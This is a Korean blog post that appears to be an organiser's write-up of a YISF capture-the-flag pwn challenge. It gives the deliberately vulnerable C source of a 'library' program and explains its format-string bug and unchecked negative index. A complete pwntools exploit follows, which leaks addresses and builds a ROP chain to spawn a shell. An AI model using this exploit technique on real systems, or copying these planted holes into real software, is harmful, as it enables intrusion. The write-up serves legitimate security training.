c코드
//gcc -fno-stack-protector -o stack stack.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#define admin 0
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void clear()
{
printf("\e[1;1H\e[2J");
}
void leak_libc(){
unsigned long long printf_addr = (unsigned long long)&printf-0x60770;
for (size_t i = 0; i < sizeof(printf_addr); i++) {
unsigned char byte = *((unsigned char*)&printf_addr + i);
putchar(byte);
}
printf("\n\n");
}
void libc_base(){
if(admin == 1)
{
printf("libc base is : ");
leak_libc();
}
else{
printf("your not admin!!\n\n");
exit(0);
}
}
int read_limit = 0x40;
char bye[0x20] = {"Please don't go :(\n"};
char story[5][0x40] = {
"[Don't worry. Nobody's gonna get out of here alive.]",
"[Everyone wants to go to heaven, but no one wants to die.]",
"[Computers don't lie. It's always me who lies.]"
};
int storynum = 3;
char *library =
" _ _.-'`-._ _\n"
" ;.'__YISF__'.;\n"
" _________n.[__LIBRARY___].n_________\n"
" |\"\"_\"\"_\"\"_\"\"||==||==||==||\"\"_\"\"_\"\"_\"\"]\n"
" |\"\"\"\"\"\"\"\"\"\"\"||..||..||..||\"\"\"\"\"\"\"\"\"\"\"|\n"
" |LI LI LI LI||LI||LI||LI||LI LI LI LI|\n"
" |.. .. .. ..||..||..||..||.. .. .. ..|\n"
" |LI LI LI LI||LI||LI||LI||LI LI LI LI|\n"
" ,,;;,;;;,;;;,;;;,;;;,;;;,;;;,;;,;;;,;;;,;;,,\n"
";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n";
char *bookshelves =
" .--. .---.\n"
" .---|__| .-. |~~~|\n"
".--|===|--|_ |_| |~~~|--.\n"
"| |===| |'\\ .---!~| .--| |--|\n"
"|%%| | |.'\\ |===| |--|%%| | |\n"
"|%%| | |\\.'\\ | | |__| | | |\n"
"| | | | \\ \\ |===| |==| | | |\n"
"| | |__| \\.'\\ | |_|__| |~~~|__|\n"
"| |===|--| \\.'\\|===|~|--|%%|~~~|--|\n"
"^--^---'--^ `-'`---^-^--^--^---'--' \n";
char *book =
" __________________ __________________\n"
".-/| \\ / |\\-.\n"
"|||| | ||||\n"
"|||| | ~~*~~ ||||\n"
"|||| --==*==-- | ||||\n"
"|||| | ||||\n"
"|||| | ||||\n"
"|||| | --==*==-- ||||\n"
"|||| | ||||\n"
"|||| | ||||\n"
"|||| | ||||\n"
"|||| | ||||\n"
"||||__________________ | __________________||||\n"
"||/===================\\|/===================\\||\n"
"`--------------------~___~-------------------\'\'\n";
char *rebook =
" __\n"
" (`/\\\n"
" `=\\/\\ __...--~~~~~-._ _.-~~~~~--...__\n"
" `=\\/\\ \\ / \\\\\n"
" `=\\/ V \\\\\n"
" //_\\___--~~~~~~-._ | _.-~~~~~~--...__\\\\\n"
" // ) (..----~~~~._\\ | /_.~~~~----.....__\\\\\n"
" ===( INK )==========\\|//====================\n";
void print_menu(){
puts(library);
printf("Welcome to YISF Library\n");
printf("\nwhat do you want to do\n");
printf("1. read\n");
printf("2. write\n");
printf("3. rewrite\n");
printf("4. library base\n");
printf("5. exit\n");
}
void menu_read(){
int num;
clear();
puts(bookshelves);
printf("\nwhat do you want to read?\n");
for (int i = 1; i<=storynum; i++)
{
printf("%d. story %d\n", i, i);
}
printf("> ");
scanf("%d", &num);
if(num<1 || num>storynum)
{
printf("invalid number\n");
}else{
switch(num){
case 1:
printf(story[0]);
break;
case 2:
printf(story[1]);
break;
case 3:
printf(story[2]);
break;
case 4:
printf(story[3]);
break;
case 5:
printf(story[4]);
break;
default:
break;
}
}
}
void menu_write(){
clear();
if(storynum >= 5)
{
printf("no more write");
sleep(3);
}else{
puts(book);
printf("\nwrite story : ");
char buf[0x40] = {0,};
read(0, buf, read_limit-1);
strncpy(story[storynum], buf, sizeof(buf));
storynum++;
}
}
void menu_rewrite(){
clear();
int num;
char buf[0x40] = {0,};
puts(rebook);
printf("\nwhat do you want to rewrite?\n");
printf("story number> ");
scanf("%d", &num);
if(num>storynum)
{
printf("invalid number");
sleep(3);
}else{
printf("rewrite : ");
read(0, buf, read_limit-1);
strncpy(story[num-1], buf, sizeof(buf));
}
}
void main(){
initialize();
int num;
for( ; ; )
{
clear();
print_menu();
printf("> ");
scanf("%d", &num);
switch(num){
case 1:
menu_read();
sleep(3);
break;
case 2:
menu_write();
break;
case 3:
menu_rewrite();
break;
case 4:
libc_base();
sleep(3);
break;
case 5:
printf(bye);
exit(0);
default :
printf("invalid number\n\n");
sleep(3);
break;
}
}
}
checksec
위 코드에 취약점은 2가지가 있다.
1. menu_read의 switch - case 구문 안에 printf(story[1~5]) 에 format string bug가 터진다.
2. menu_rewrite에 num에 대해 음수 검증이 없다.
익스플로잇은 다음과 같다.
1) menu_rewrite에서 0을 입력하여 out of boundary를 일으키고 -1 index가 가리키는 곳은 read_limit 이다. 이를 매우 크게 만들어서 menu_write나 menu_rewrite에서 bof 를 일으킬 수 있다.
2) menu_read에서 format string bug로 code base를 구한다.
3) code base로 leak_libc의 주소를 구해서 menu_write에서 rtl을 한다.
4) libc_base로 execve 주소와 가젯 주소를 구해 다시 한번 rtl를 하여 셸을 획득한다.
from pwn import *
# context.log_level = "debug"
p = process("./yisf_library")
main_leak_off = 0x52d # main와 libc_leak 사이의 거리
main_off = 0x6bb # main과 _start사이의 거리
poprdi_off = 0x2a3e5
poprsi_off = 0x2be51
execve_off = 0xeb0f0
binsh_off = 0x1d8698
system_off = 0x50d60
# pause()
# read_limit over
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", b'0')
p.sendlineafter(b": ", b'a')
# fsb
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"story : ", b'%9$p')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'4')
p.recvuntil(b'0x')
main_add = int(p.recv(12), 16)
leak_add = main_add - main_leak_off
main_real = main_add - main_off
# print(hex(main_add))
ex = b'\x00'*0x40
ex += b'b'*0x8
ex += p64(leak_add)
ex += p64(main_real)
# libc_base leak
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"story : ", ex)
p.recvuntil(b"\x00")
libc_base = u64(b"\x00"+p.recv(6)+b"\x00")
# print(hex(libc_base))
rdi = libc_base + poprdi_off
rsi = libc_base + poprsi_off
execve = libc_base + execve_off
binsh = libc_base + binsh_off
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", b'3')
ex = b'\x00'*0x4c #buf
ex += p32(0x3) #num
ex += b'a'*0x8 #sfp
ex += p64(rdi)
ex += p64(binsh)
ex += p64(rsi)
ex += p64(0)
ex += p64(execve)
p.sendlineafter(b"rewrite :", ex)
p.interactive()
내가 의도한 풀이는 code base를 구해 leak_libc 함수를 사용해서 libc_base를 구하고 main으로 돌아간 후 다시 rtl을 하는거였는데 fsb로 libc_base를 구한다는것을 깜빡했다..
'후기' 카테고리의 다른 글
BOB 13기 [취약점 분석] 트랙 합격 후기 (0) | 2024.07.13 |
---|---|
.hack conference 후기 (0) | 2024.05.31 |
2023 충청권 사이버보안 경진대회 후기 (1) | 2023.11.14 |
2023년 제 21회 YISF - [DRAGON_HERO] 문제 풀이 (0) | 2023.09.11 |
2023년 제 21회 순천향대학교 YISF 운영진 후기 및 문제 풀이 (0) | 2023.09.06 |